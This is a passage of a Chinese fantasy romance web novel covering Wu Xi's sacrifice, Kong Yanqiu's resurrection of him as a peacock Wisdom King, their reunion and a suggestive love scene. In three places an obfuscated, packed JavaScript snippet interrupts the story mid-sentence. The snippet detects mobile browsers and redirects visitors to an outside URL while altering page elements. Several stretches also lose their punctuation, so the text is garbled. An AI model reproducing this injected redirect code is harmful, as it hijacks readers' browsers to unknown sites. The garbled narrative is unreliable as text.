“孔宴秋,孔宴秋……他泣不成声,一声声地唤着他的名字,忽然大发雷霆,恨不得跳脚怒骂起来,“你……你真是个蠢蛋,世界第一的大蠢蛋!你为什么不等我,为什么要一个人跑来这里,一个人对付毒龙王?!你知不知道,知不知道…… 他喘着粗气,再也说不下去了。 他想说你知不知道我有多担心你,你受了这么重的伤,我心里有多疼?你下次再这么莽撞冲动,你看我还理不理你,不过,我下次要是莽撞冲动,你也可以不理我…… 可惜,这么多责备的话,他连一个字都讲不出,只能喘不过气地哭。 “额头…… 怀中传来微弱无比的气音,巫曦急忙低头,看见黑孔雀的眼睛勉强睁开一条缝隙,流露出极其黯淡的金光。 “你醒了!巫曦急忙低下头,去抚摸他的耳羽,“你有没有哪里伤得最重?我们马上回去好好地养伤,肯定可以养好的…… “额头,孔宴秋执着地喘息,“怎么肿了…… 巫曦顿时哑然。 他的额头自然是在金曜宫孔雀的神光上磕肿的,然而现在不是计较这个的时候。他强颜欢笑,急忙遮掩道:“都什么时候了,还关心这个…… 他还没说完,黑孔雀的身体便一阵巨颤,喉间再也控制不住,喷出一大泼毒血,震得冠羽不住发抖。 “那天,我不是……有意要吼你……他的双眸越发黯淡,一口口地呕着血,“你不要哭,你哭得……我……心口太痛…… 他的颈子也弯起来了,伴随着剧烈的呛咳声,就着鲜血,他吐出了一个很小很小的东西,用鸟喙衔着,轻轻落在巫曦的手掌心。 那是一个丑得有些滑稽的木雕,脖颈那么长,可身体却圆胖。它拖着波浪形的短尾巴,傻乎乎地摊在巫曦手里,和他对视。 “我想让你看看,看看……这个…… 巫曦一言不发,看着他掌中那个粗糙至极,木头雕刻的小孔雀,泪水汹涌地模糊了视线。 “我一直……一直留着……黑孔雀喑哑地道,“你不要生气了,好不好…… 巫曦说不了一句话,他愣愣地望着手里的木雕,像是完全痴了。 孔宴秋喘着气,低低地道:“孔雀的爱是很漫长的……认定了,就要相守一生一世,眼睛里再也不会看到其他人。不要生气了,好不好…… 这一刻巫曦想到了很多东西。 母亲离去的背影父亲失望的眼神旁人的轻视嘲笑的纷纷议论……很小的时候他就知道自己是与众不同的。 他的平静发自内心从不为外界的流言和评价动摇。他跑过恶意的人群就像掠过一些特别聒噪然而隔着琉璃幕墙的鸭子。隔着墙的鸭子如何呱呱大叫也不是墙外的人应当考虑的事。 “殿下的性格好像从来没有把谁放在心上过。您呀是一面滑不溜手的小镜子。”每晚睡前阿嬷时常拍着他的被子对他叹息地微笑“哎也不知道将来谁能走到您的面前打动您的心呢?” 彼时的巫曦尚且懵懂他不知道动心是什么意思更不明白动心意味着什么。他只知道好像相爱的男男女女都会失去一些自我沉浸在爱里他们既可以恬然地喁喁私语又可以持着疯狂的刀尖把天也捅个窟窿出来。 就这样吧。 他擦去腮边的眼泪微笑着想。 就这样吧! 远处俱时龙王还没有死还在地上不甘地匍匐蠕动。一颗爆开的龙心尚不足以对它造成什么致命的杀伤。 它的目标仍然是黑孔雀但巫曦没有递给它一个多余的眼神他把木雕放在心口的位置冲濒死的黑孔雀吹出一缕金色的火焰。 “他、他要做什么?”云端上一只绿孔雀讷讷地问。 然而没有人可以回答他的问题。 恍若初升的太阳金光温柔地照彻长夜犹如生生不息的春风源源不断地注入黑孔雀的身体。它们烧毁了黑孔雀的骨骼、血肉与翎羽同时又坚定不移地重塑了他的骨骼、血肉与翎羽。 金色的烈焰无比绚烂地绽放 蓬勃的生机来势汹汹地焕发在孔宴秋的身体里黑孔雀惊醒了他随即意识到似乎有一些事一些他无法阻拦不能抗拒的事正在发生。 “巫曦!”他惊惶地大喊“你在做什么?” 没有回答。 他也得不到回答。 金光如茧严严实实地包裹了他们的身体不管是云端密切注视着这一切的金曜宫孔雀还是远处畏惧嚎叫的俱时德叉伽谁都无法证实茧中究竟发生了什么。 快逃走快逃走! 本能大喊着在老龙王的魂魄中颤响有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的面容已经变得苍白毫无生机手中还抓着那只模样古怪的孔雀木雕只是双目紧闭不见呼吸。 “……他死了?”有孔雀如此猜测。 “挥霍灵火,去毒锻骨,熔炼孔雀心魂。”身边的孔雀道,“佛陀化身又如何?他不过是一介神人,肉 体凡胎。” 新任的孔雀明王一动不动地抱着巫曦。 他成了佛,结了道,可他现在就像一个迟滞的痴儿,呆呆地搂着怀里的神人,愣怔地望着他。 孔宴秋张开手爪,轻轻地拍拍巫曦,用爪尖点一点他的眉心,再摩挲着他的嘴角,然后小心地用双臂晃晃……无论他做什么,巫曦都像一只断了线的木偶,给不了他一点回应。 滚烫的泪水一滴滴坠落,从年轻的明王眼中涌出。 他像一尊石塑,不知呆愣了多长时间。蓦地,他没有说一句话,一个字,便于顷刻变回原形,黑孔雀垂下双翼,起伏着山峦般的脊椎——他一口含住巫曦的身体,竟直接将神人吞了下去! “他疯了吗?!” 天上的孔雀再次骇然,他们戒备着,一个失去了伴侣的孔雀可以是天底下最可怕的生物,而一个失去最重要的人的孔雀明王,会不会飞快地堕入魔道,沦落歧途? 这是谁都无法预料的事。 在吃掉巫曦的身体之后,孔宴秋很快就有了动作。 随着蓬天的血雾,以及一声接一声的巨响,他拱起后背,脊骨居然在瞬间根根爆开。 在纷飞的凌乱羽毛,袒露的模糊血肉,以及淋漓柔软的内脏中间,那些突刺而出的雪白骨骼,便如盛放的莲台,层层剖开了明王的身躯。 最年长的孔雀面色煞白,脱口而出:“他……他竟要以佛母之身,再助那神人登道!” 昔年,最古的孔雀吞吃佛陀金身,反被佛陀破开脊背,登顶灵山,奉为佛母大孔雀明王。或许孔宴秋真的已经疯了,否则他不会采取如此激进的手段,妄想叫神人起死回生。 他以超越生死,极端痛苦的姿态,用血肉浸润巫曦的面庞、手臂、腰腹……每一寸肌肤。他重塑骨肉,亲手捏造了血腥至极,也粘稠柔腻至极的长路,为爱侣铺平一条通天之途。 明王的鲜血犹如大海,海中波荡着数不尽的温柔潮声,巫曦的身形,当真逐渐出现在这片金红交加的海面上。 白骨的莲台托举着他的全身,他的胸口,同样泛起一丝重燃的金光。 一片混茫中,巫曦慢慢地睁开了眼睛,懵懂地看向天空。 作者有话要说 【汤显祖说,生而不可与死,死而不可复生者,皆非情之至也。 我认为写人外就要有这样的精神……!】 第 69 章 净琉璃之国(三十七) 第69章净琉璃之国(三十七) 哎哟,好痛。 这是他的第一个反应。 我身上怎么湿哒哒,黏糊糊,好像被小狗口水舔过一遍似的? 这是他的第二个反应。 巫曦忍着不适,撑着手肘坐起来,顾不得其他,先捂着额头,头痛地想了好一阵子。 我前面干嘛来着? ……对了!孔宴秋中了龙毒,我就用火烧他,给他去毒来着,然后我又干了什么,怎么想不起来了? 头疼得像是要裂开,巫曦龇牙咧嘴地放下手,忽然目光一凝。 我怎么满手都是血!不对,我怎么满身都是血?! 而且我的胸口还是半透明的! 他张皇失措地抬头一看,天空中飘落的却不是雪花,而是绒绒细密的菩提花。在周围,巨大雪白的骨骼团团盛开,犹如一朵又可怕,又圣洁的莲台,将他围拢在最中央。他身下同样铺着嶙峋生光的骨头,上面荡漾着金赤色的血浆。 他手上,身上的血,全是这样的金赤色。 巫曦一下惊慌起来,他转着头地大喊:“孔宴秋?孔宴秋!你在哪儿?! 真是犯太岁啊我,不过我为什么没死呢?那时候我毫无保留,完全耗尽了心脉中的每一丝灵火。奇怪,难道世上真有死而复生这回事么? “孔……! 他转着圈地乱看,声音陡然闷在喉咙里。 透过那些巨大骨骼的间隙,他看到了黑孔雀下垂的双翼,以及他蜿蜒柔软的长颈,在孔雀身下,血泊蔓延百里,将旷野烧成一片金红色的颓艳黄昏,数不尽的菩提花在上面辗转漂荡,便如雪色的长船,美得令人心惊。 孔宴秋就在这里,他就站在孔宴秋的身体上。 巫曦的脑子一片空白。 他忘记自己是怎么从黑孔雀的背上下去的了,等到他滚落地面,再滚了一身的血之后,黑孔雀的身体也在渐渐缩小,缓慢地恢复成惨不忍睹的人形。 巫曦扑过去,魂不附体地把孔宴秋抱起来。唯见孔雀浑身的血将要流干,肋骨齐齐断裂,从脊椎上倒翻出去,贯穿了后背的皮肉,卷起极为可怖的伤口。 他就像一只刺猬,只是刺猬的刺长在皮肤上,而他的刺,却是从血肉里穿出去的! 巫曦肝胆俱裂,他实在不知道该怎么处理这么刁钻,这么严重的伤口,只得在手上聚起金色灵火,贴近他的后背,一边哇哇大哭,一边试着给他止血。 “你这个坏鸟!为什么又把自己搞成这样,你要气死我……咦?” 巫曦脸上还挂着眼泪珠子,人已是愣住了。 真是神奇,从前他的灵火可以解毒治病,现在居然还多了一个穿透身体的功能!附着火焰之后,他的手毫无阻碍地进到了孔宴秋的后背,就像拨开一条溪河,他轻轻拨开紧绷的肌肉,再用手试探着抓住那些断裂弯折的肋骨。 匠人是如何随心所欲地塑造手下的陶土,他就如何随心所欲地重塑这些畸形的骨头。巫曦将它们挨个恢复如初,随后,宛如抚平陶坯身上的裂口,他尝试着,用大拇指轻柔地一抹,孔宴秋背上的那些绽开的伤口,便被他抹得平整光洁,仿佛从没有受过致命的穿刺。 我成神仙了? 巫曦不可思议地看着自己的双手。 有这样一双手,那我以后岂不是可以去街上开一家医院,上书“回春妙手”四个大字,然后看病就可以不收钱,专门收集稀罕菜谱…… 不对,现在不是想这些事的时候! 他回过神来,想把孔宴秋扛起来,先走出这里再说。奈何对方实在太重,扛着走了没两步,巫曦脚下一滑,一人一鸟便滚做一堆,乱七八糟地扑在地上。 “哎哟!” 他跌到孔宴秋胸前,鼻子都撞红了,忽然感到有一只手轻轻环在自己后背,巫曦抬眼一望,孔宴秋疲惫地睁开双眼,正定定地瞧着自己。 严格来说,这还是他们大吵一架之后,首次在双方都平安无事的情况下对话,巫曦动了动嘴唇,没想好自己要说什么,半天过去,憋出一个:“嘎?” 他一开口,一出声,孔宴秋的眼泪瞬间就下来了。 “嘎?!”巫曦慌慌张张地去搂他,心想怎么突然就哭了,莫非是毒还没完全解开,才导致眼睛上火?不要紧!看我丹青妙手,只消揉一揉,准保你手到病除…… 他揉来揉去,在孔宴秋脸上捏了半天,非但没能“手到病除”,反而给自己沾了一手的滚热的泪。 巫曦讪讪地收回了手。 “别哭啦,”他小声说,“你看,我不是好端端地坐在这儿,一点事也没有吗?我不仅没事,还多了个奇异的本领呢。你,你要是这么哭……” 他想说“你要是这么哭,我就要笑话你了”,可他转念想起自己弄丢了那个木雕,想起孔宴秋字字泣血,句句锥心的剖白,想起他们九死一生,险些再也不能相见的冒险经历,又想起他身上如此惨烈的伤痕……桩桩件件,勾得他鼻子一酸,也哭了起来。 孔宴秋紧紧地抱着他,将他贴肉安置,恨不得就这样揉到自己的骨血里,巫曦亦像个礁石上的小贝壳似的,张开双臂,牢牢地粘在孔雀胸前。 “我亲你一下,你也亲我一下,我们就回家,好吗?”巫曦哭着道,他抽噎着,亲了亲孔宴秋的侧脸,但是只亲一下尚觉得不够,又在旁边亲了第二,第三,乃至数不清的多少下,眼泪才稍微止住。 彼时,玉京天阙照射出的明光仍然在苍穹中荡漾,而空中的菩提花——不知从哪儿飞来的菩提花——同时纷纷扬扬地飘洒。巫曦牵着孔宴秋的手,踩在那些花儿上面,天光里便映出两个一大一小的影子,一个轻盈,一个沉重。 “你说,这都是从哪里飞来的花朵?”巫曦好奇地道,“天上的光也来得好奇怪。对了,那些小孔雀有没有通过玉京天阙的试炼啊?我觉得还是不要了吧!那些大孔雀个顶个儿地讨人嫌,小孔雀被他们教导,实在很难成材啊。” 他在前头唠唠叨叨地说,孔宴秋就在后面,用沉沉的目光盯着他瞧。治好了孔雀的伤口,一人一鸟重归于好以后,巫曦高兴过头,加之心神疲惫,倒没有察觉出他的异样。 等他们回到业摩宫,回到只离开数日,却仿佛阔别了一生的巢室,呼呼睡过一大觉之后,巫曦这才发觉出这个要命的事实。 ——孔宴秋不会说话了! 这是真的,不管自己说什么,做什么,哪怕是跳到他身上,要求他开口讲话,孔宴秋也只是出神地看着他,眼光专注而炽热,真像着了魔一样。接着,他会伸出手爪,像触碰易碎品那样,小心地摸摸巫曦的脸。 但更多时候,他会将巫曦抱得很近,然后一次又一次地亲吻他。那是漫长的,柔软的吻,包含世界上所有爱意的吻,甜蜜,温柔和完美的吻……好得不可思议,令人如坠梦中。 他仿佛用嘴唇代替了双手,来探测巫曦是否真实存在。有一次,他亲到了巫曦如今已经变得半透明,犹如温软琉璃的胸口;有两次,他差不多亲到了巫曦的腿根;还有三次,他几乎亲遍了巫曦的全身。 而且这些还不算完。 自打回来起,孔宴秋就再也没有离开过巫曦半步。不管巫曦做什么,他都死死缀在神人身后,用炽热的目光紧盯,一有机会就会从背后抱着他,然后将翅膀也笼罩上来。 无论起床,穿衣,洗漱,还是出门,社交,谈论事务……孔宴秋统统寸步不离,甚至时不时地把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481954|130309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尾翎也压在巫曦身上,缠着他的双腿。 俱时龙王身陨道消,毒龙再难成什么气候,而孔 宴秋得证明王之后——得证明王的事还是巫曦听鸟雀八卦议论才知道的——业摩宫更是乱作一团,外头还常有金曜宫下来的大孔雀探头探脑,不知道想做什么。托孔宴秋的福,巫曦完全管不过来,只得将这些事全丢给其他大妖,自己专心对付一个痴痴的黑孔雀。 巫曦真的很愁,然而孔宴秋不仅不愁,反倒瞅准机会了就是一顿亲,直给巫曦亲得面红耳赤,浑身湿漉漉,这如何能忍? 他想给孔宴秋做点清心明智的药膳,但这似乎不是心智上的问题;想用灵火烤一烤,奈何身上没伤,平白燎卷了两根鸟毛。一想到自己已经是世上最厉害的医者,却连情郎的心病都治不好,巫曦难免沮丧。 ……但他还不能沮丧,因为他一表现出愁苦的样子,孔宴秋的嘴唇便要密密实实地落到他眉间,接着一路往下,再接着……再接着就不好说了。 委实要给人气死啊。 都说心病还需心药医,巫曦在脸上挂起阳光明媚的笑容,暗暗在脑子里思忖,孔宴秋的心病,大概就是眼睁睁地看着我身死,而后,他又用那样惨痛的方式挽回我的性命,大悲恰逢大喜,两两相冲,他肯定要出毛病的。 只是不知,我该开一剂什么样的心药呢? 轻一点的药,无非是保持现状,日日夜夜地伴着他,他现在资历虽浅,可已经是板上钉钉的明王了,时间一长,当然能恢复过来。 至于重一点的药嘛…… 巫曦将食指抵在下巴上,若有所思地“哼”了一声。 他已经下定决心。 这天,巫曦照例顶着巨大且沉重的鸟毛毯子,对酸与提出了要求。 他希望在接下来的三天——哎,不幸的话,也许是一个星期,寝殿方圆数十里内都不要有多余的鸟雀,他该给孔宴秋治病了。 酸与不明所以,但又从这话中嗅出了山雨欲来的气魄,赶紧忙不迭地答应下来。 寝殿里只有他和孔宴秋两个人。 驳杂的气息纷纷远去,孔雀的潜意识里也得到了一些安宁的抚慰。巫曦将一切打理妥当,深吸一口气,指使道:“去给我倒一杯水!” 孔宴秋不明所以地默默看他,身体一动不动,一杯水已然自发飞起,来到巫曦面前。 巫曦:“……” 巫曦并不气馁,他加重语气,认真地说:“我要你亲手,给我倒一杯水。” 孔宴秋神志混茫,倒是还知道要听他的话,迟疑片刻,黑孔雀还是转过身去,亲手给他倒了一杯水。 再转过身的时候,孔宴秋蓦地愣住了。 他的脚下像生了钉子,将他牢牢地钉在原地。 在他前方,巫曦身上的外袍已经宛转飘落,少年纤瘦的臂膀,便如一块晶莹无瑕的美玉,毫不遮掩地袒露在他眼前。 巫曦嘻嘻一笑。 “喂,来追我呀!”他说。 然后,他居然就这么笑着,转身就跑了! 作者有话要说 【好吧,这里不让全脱,那先脱一件,,】 巫曦:*感动,热泪盈眶,眼泪滑过完美的弧线*一切都圆满落幕了……我们拯救了彼此,靠爱! 孔宴秋:*一反常态地沉默* 巫曦:*一甩头发,将头发甩在孔宴秋胸前,因为他太高了*看啊,崭新的世界,多么美好! 孔宴秋:*慢慢解开身上的珠宝和腰链,继续沉默* 巫曦:*激情澎湃*啊!这就是……*发现不对劲*你怎么不说话? 还是巫曦:*终于意识到自己会经历什么,哭了*哎哟!我逃不掉了! 第 70 章 净琉璃之国(完) 第70章净琉璃之国(完) 这句话说出来,他自己先绷不住,吃吃地笑了半天。 巫曦像一只轻灵迅捷的鸽子,飞快地投进暖阁层层叠叠的纱帐,藏在那的衣帽间里头。 埋在许多沙沙作响,散发着温馨香气的衣料堆内,巫曦的心跳仍然难以抑制地砰砰狂跳,他的手臂紧张地发颤,手指也不自觉地揪住了一件丝棉的小衫,用力攥紧了指头。 一,他在心中数着短暂又漫长的秒数。 二…… “三”还没跟在“二”的余音里出来,巫曦就听到了一阵极为狂暴,并且沉重的翅膀拍打声,凶猛地刮进了暖阁,悍然切开了许多飘摇的纱幕! 孔宴秋简直不是在“寻找”,他是在失去理智地洗劫。 巫曦的心脏差点从嘴里蹦出去。 孔雀粗重的呼吸回荡在暖阁内,他锋利的脚爪与红玉地板敲击,发出凌乱无章的响亮声音。 暖阁里的很多东西被他急不可耐地掀翻了,推倒了。孔宴秋就像一个快要饿死,渴死的旅人,临死前,他什么都顾不得,只想大口痛饮那清澈的泉水,再将脸也埋在甜蜜柔软的果实里狼吞虎咽,直吃得满脸狼藉,连嘴唇也沾满灼热的汁液。 巫曦躲在一堆衣服当中,胆战心惊地听着外面的动静。渐渐的,孔宴秋的呼吸开始发生变化,他在空气里不住嗅闻,然后静静地侧耳倾听,犹如一条最敏锐的猎犬,试图闻到猎物的气味,听见猎物的心跳声。 要是换在平时,他一定可以做到。 但此时此刻,暖阁的气息混杂,巫曦在这里住了许久,实在令孔宴秋无法准确地分辨;至于巫曦的心跳……经由孔雀明王的血肉淬炼,他现在的胸膛,已经像琉璃一般焕发着半透明的光彩,再也不似凡胎那般,自然不会轻易被人听见心跳声。 孔宴秋已经拽开了衣帽间的小门。 巫曦叠在最下面,一下将心提到了嗓子眼。 如果这时候,他把上头的衣服拽出来,散成个满天花,那自己真的就成了那只瓮中的鳖,再没有地方可逃了! 孔宴秋毫不犹豫地搡开一堆挂好的披风和大氅,将它们拍到一边,但凡他再往下挖一点,就能捞着巫曦的手腕,可惜,或许上天的好运气再一次庇佑了巫曦,暖阁外间,忽然传出一声非常细微,并且清晰无比的碰撞声。 黑孔雀骤然转身,一阵风地朝那里卷过去。 巫曦的手脚发软,他赶紧趁此机会,从 衣帽间里灵活地挤出,以平生最快的速度冲向长廊,冲向当中的一间宫室。 而孔宴秋过去看到的,只是一颗摇摇下坠的石榴,他的耳朵一动,便感应到远处有人跑过。 他蓦地发出一声尖啸,张开大翼,迅猛地回身飞扑!在走廊尽头的拐角处,他已经看到了那条飘飘招摇,像它的主人一样胆大包天的纱带。 自从巫曦的胸膛发生神异的变化之后,他便习惯用一条轻纱绕过左肩,稍稍将那里遮掩一二。此刻,孔宴秋怀揣着炽热的绝望之心奋力捕捞,也仅是抓下了那条浅蓝色的纱带,纱带的主人则带起一声门响,仿佛一只被苍鹰追击的小斑鸠,机敏地窜进了房内。 那条纱带还残存着暖融融的余温,以及巫曦胸口的微甜的药香,无比柔顺,缱绻地贴在孔雀的手爪上,简直勾得他团团乱转,像一只困在笼中的野兽,浑身的血液都在沸腾! 他也扑进了那扇门。 当然,孔宴秋用不了“推门”这么文雅的动作,他视阻碍于无物,直接撞碎了门板,在室内疯了一样地翻找。可是太奇怪了,这么上天无路,入地无门的房间,为何又不见了巫曦的身影? 孔宴秋的目光定格在了墙帘后的一处暗道上。 业摩宫聚集鸟雀,当然是用不着暗道这种东西的,当时还是巫曦觉得好玩,要在宫殿内修建一圈滑溜溜的密道,好让他可以随心所欲地到处乱滑。对他的要求,孔宴秋自然无有不应,谁知今天会成了他的大劫难,让他丢了到嘴边的巫曦? 孔雀明王的嘴唇微动,低低地念出了那个又可恨,更可爱的名字。 他能说话了。 近日来浑浑噩噩,迷茫游走的神智,已然被方才接二连三的刺激唤醒。世界在他眼前变得更加清晰,救回巫曦之后发生的事,也像重新返回的记忆,令他的思绪一清。 他手里还抓着那条蓝色的纱带。 孔宴秋腾飞而起,大喊道:“巫曦!” 面对伴侣的时候,孔雀少有狡猾的表现,但这一刻,熊熊的心火将他全身烧得炽热,烧得快要爆裂,他再也忍不得了,必须采取一些非常规的措施。 他的声音变得轻缓,他的语气同样变得很委屈,很可怜。孔宴秋嘶哑地道:“不要躲了,好不好?我已经可以说话了,你不来看看我吗?我的神志才刚刚清醒,就觉得已经好久没有看到你了……你还生我的气吗?” 他的声音四下回荡,巫曦听到这话,心里便打了个磕绊。 哎呀,他想,他能讲话了!那我确实应该出去看看 ,万一他有什么后遗症,岂非不妙? 巫曦躲在凉亭的桌子底下,刚一犹豫地掀开厚厚的桌布,孔宴秋听到一丁点儿微末动静,已经闪电般地飞速旋身! 巫曦吓得呆住,他急忙抽手,心有余悸地直往后缩。 ——孔宴秋的眼睛不再是深邃的暗金色了,这个时候,他的瞳孔像吹涨了一样扩大,双目黑得可怕,简直能用目光将一个人活活点燃。 巫曦又惊又怕,但惊骇过后,他反倒燃起了不屈的斗志。 哼哼,还敢骗我?看我怎么捉弄你! 这么一想,他褪下臂膀上的一双金环,悄悄掀开桌布,往远处一丢。 臂钏落地有声,等到孔宴秋发疯地扑过去时,他早就一边笑着,一边溜之大吉了。 孔宴秋被火烧得浑身都在颤抖。 第四次扑空,是巫曦将自己贴身的小衣脱下来,偷偷丢进假山后头。纵然知道这是陷阱,孔宴秋还是义无反顾地冲进了这个陷阱,哪怕周围遍布刀山火海,又如何肯放得下手! 他的唾液粘湿了小衣的领口,孔宴秋将它紧紧地攥在手上,残酷无情地追击着自己的猎物。 他知道,巫曦的招数已经用尽,他能躲藏的地方,也越来越少。 终于,他卖出一个破绽,在巫曦自以为声东击西的诡计得逞,偷笑着跑进他真正想要躲的地方时,孔宴秋的翅膀,早已在房中静静地垂落,投下巨大的阴影。 巫曦一转身,顿时吓得大叫起来,他红扑扑,沾满汗水的脸蛋,一时也有些发白。 “你,你发现我了……”他觑着黑孔雀的表情,小心翼翼地道。 孔宴秋没有说话,他落到地面的时候,却脱开了自己手臂上,和巫曦一样款式的臂钏。他一面向前逼近,一面解掉胸前披挂的璎珞宝饰,手腕上的琳琅环戒,以及右腿上的黄金束带。 那些戴给巫曦看的珠宝件件坠地,发出清脆的撞响,于是巫曦的心脏也砰砰乱跳,一下紧张过一下。 他强颜欢笑,忍不住随着孔雀的步伐踉跄后退:“你能讲话了!我、我……” “我”了半天,也没能“我”出个什么来,巫曦知道自己已是无路可逃,忍不住就露出了可怜兮兮的小狗眼睛,试图为自己争取更轻的刑罚。 孔宴秋死死盯着巫曦,低声道:“我要吃了你。” 巫曦大惊失色,他下意识转身,简直慌不择路,但他完全忘记了一件事,那就是将后背暴露给掠食者的做法,基本等同于送羊入虎口。 孔雀的手爪已经捏 住了他的腰腹神光起落之前床上的锦缎兽皮也落了一地铺成了一个毛绒绒的花园。 巫曦就被按在这个花园当中先前逃跑的时候他身上的衣物就已经剩不下什么此刻孔宴秋抓开他腰间的带子他身上便再也没有什么可供遮掩了。 少年的蝴蝶骨伶仃欲飞落在这头雄孔雀眼中美得宛如一尊玉雕。 这一天孔宴秋终于实现了自己的夙愿。 或者说他过度地实现了自己的夙愿。 他呼喊着巫曦的名字难以自控地开屏了一次又一次。他就用这辉煌的尾屏将巫曦压得说不出话压得他泪珠直落哭得喘不过气。 日升月落星光隐没在遍布雪云的天空又再次出现在遍布雪云的天空如此反复了七八个昼夜纳摇撼宫殿的动静才堪堪停下。 夕阳四合一双燕子在梁下缠绵地啁啾无比恩爱地互相梳理羽毛。房间里孔宴秋完全呆滞地融化在巫曦身上像一大摊黏糊糊又很漂亮的什么玩意儿团团包围着他覆盖着他。 “我好像做了一个梦……”他傻乎乎地笑着说这句话的时候他已经在巫曦的脸蛋胸口在一身嘬出来的印子上又叠嘬了十八下“一个美梦……” 巫曦气若游丝面无表情地看着被彻底毁掉的天顶壁画——鬼知道孔宴秋是怎么毁到那儿的。 “我要求分床睡。”他说。 孔宴秋完全听不到他的声音他现在听不到任何人的声音。 “我们的婚礼选在什么时候好呢?”公孔雀的脸红了他带着茫然的笑容 “我要求分床睡。”巫曦加大音量坚决地肯定地再说了一次。 “别说傻话”孔宴秋爱怜地又嘬了他二十八下“不过就算你说傻话我也爱你我最爱你。” 巫曦:“我不爱你。” “嗯嗯”黑孔雀着迷地说“我就知道你也爱我。” 他饱含爱意地噙住巫曦的耳垂低声道:“你想不……” “不想”巫曦可能回答得有些太快了“我说不想你这只坏鸟听见了吗你干嘛不把脑子里的水倒一倒我说不想我说不……!” “嗯嗯”黑孔雀喜悦地说“傻话。” 巫曦将头一歪彻底晕过去了。 · 一切恢复如常大概在夏天的时候他们重新回到了雪原上的那间木屋。 既然孔宴秋得证明王前 仇旧恨,自然也可以清算一下了。他解除了业摩宫大妖身上的火毒,他们昔日试图吞噬黑孔雀,将他置于死地的仇怨,已经得到了孔宴秋的宽容。自此以后海阔天空,只要他们不滥杀神人,孔宴秋也不会去找他们的麻烦。 只不过,大妖之间也起了不小的分歧,除了小部分愿意离去的,大多数居然还留在业摩宫,甘愿等候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481955|130309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孔宴秋的差遣。 至于巫曦那边,他总归领着孔宴秋回了一次长留,他平定国中的骚乱,扫除了毒龙和巫天汉留下的隐患之后,便动用宝印,将自己几位求学隐修的姐姐召回了国中。 他对国主的位置从来不感兴趣,而他的几个兄长——说来好笑,巫天汉居然已经是他们中最出色的一个,水平可见一斑。与其让他们菜鸡互啄,不如将希望寄托在长留王的女儿身上。 就这样,新的国主诞生了。从名分上说,她正是巫曦的长姐。 在这之后,他遥遥远望药师国,最后依旧笑了起来,转身离去。 “还是不打算去看看?牵着他的手,孔宴秋问。 “不去了。巫曦洒脱地说,“迟来太久的儿子,迟来太久的母亲,对我,对她都是一种负担。我已经托付长留王,每年会给药师国的大巫祝送些礼物,就请她放宽心吧,我不会冒然出现,冒然地参与她的生活。 在这之后,他们打扫木屋,重新修整里头的家具,过上了恬然的二人生活。孔雀明王亲自上阵,扛来木材,打算再扩充两间屋子,好给多余的陈设让出地方,他一直想换一张更大的床。 当然,在忙碌的日常之外,他也没有闲着。 针对金曜宫那些鬼祟不安,却不敢登门拜访的孔雀,孔宴秋直接放出消息。 ——想求得佛陀宽恕,求他收回关于“罪果不消的谶言吗?没问题啊。不过,求佛贵在心诚,只要你们日日跪在大雪山的山脚,从下一路叩首拜至山顶,如此昼夜不息,重复九千九百九十九次,你们的罪果就能够消除,在我之后,也能有新的明王降生在金曜宫。 大雪山的高度岂止万丈?它直耸云端,雪山顶峰的高天上,便是孔雀们居住的金曜宫,从山脚一路叩首到山顶,已是常人终其一生都完成不了的目标,何况金曜宫的孔雀都是那样得心高气傲? 孔宴秋不管这个,他只管将消息传开,先将那些孔雀打发去下跪磕头,要是再敢跟过来窥伺,他一定会直接杀了他们。 “你知道啦……巫曦讷讷地看着他道。 孔宴秋比照着两块木板的长短,叹了口气,回头看 他。 “我是明王,我能看到很多东西。” 巫曦噘嘴,跳到他背上,揪住他耳朵边的翎羽道:“哎哟,明王!那你怎么还不去消灭一切诸毒怖畏灾恼,反倒在这里……” 他瞥了眼孔宴秋现在做的活计,愤怒地道:“……在这里做大床!真是荒唐!” 孔宴秋放下木板,无辜地问:“荒唐是什么意思?” “荒唐是什么意思?荒唐的意思就是……你你你,你要干什么,别脱了!快穿上快穿上!我不许你再脱!” 那天早上,那天晚上,很多天早上,很多天晚上,孔宴秋都准确无误地令巫曦体会了“荒唐”的威力。在大荒的雪原上,他们滚出了许多古怪又好笑的痕迹。 “你愿不愿意嫁给我,或者我嫁给你?”一天傍晚,黄昏泛出美丽的颜色,好像天女洒下了遍野的花朵,孔宴秋忽然问,“什么都行,总之,你愿不愿意和我成亲?” “啊?”巫曦困惑地转过脸,“怎么,难道我们还没有成亲吗?” 孔宴秋更加困惑:“我们……我们什么时候成亲了?” “在你落在这个屋子里,然后醒过来看到我的那天啊!”巫曦莫名其妙地说,“我当时跟你讲,我的屋檐分你一半,我的床铺也分你一半——难道这还不算成亲吗?” 孔宴秋难得语无伦次,气急败坏起来,他大声道:“什么?!你、我,不对,那个是……你……” 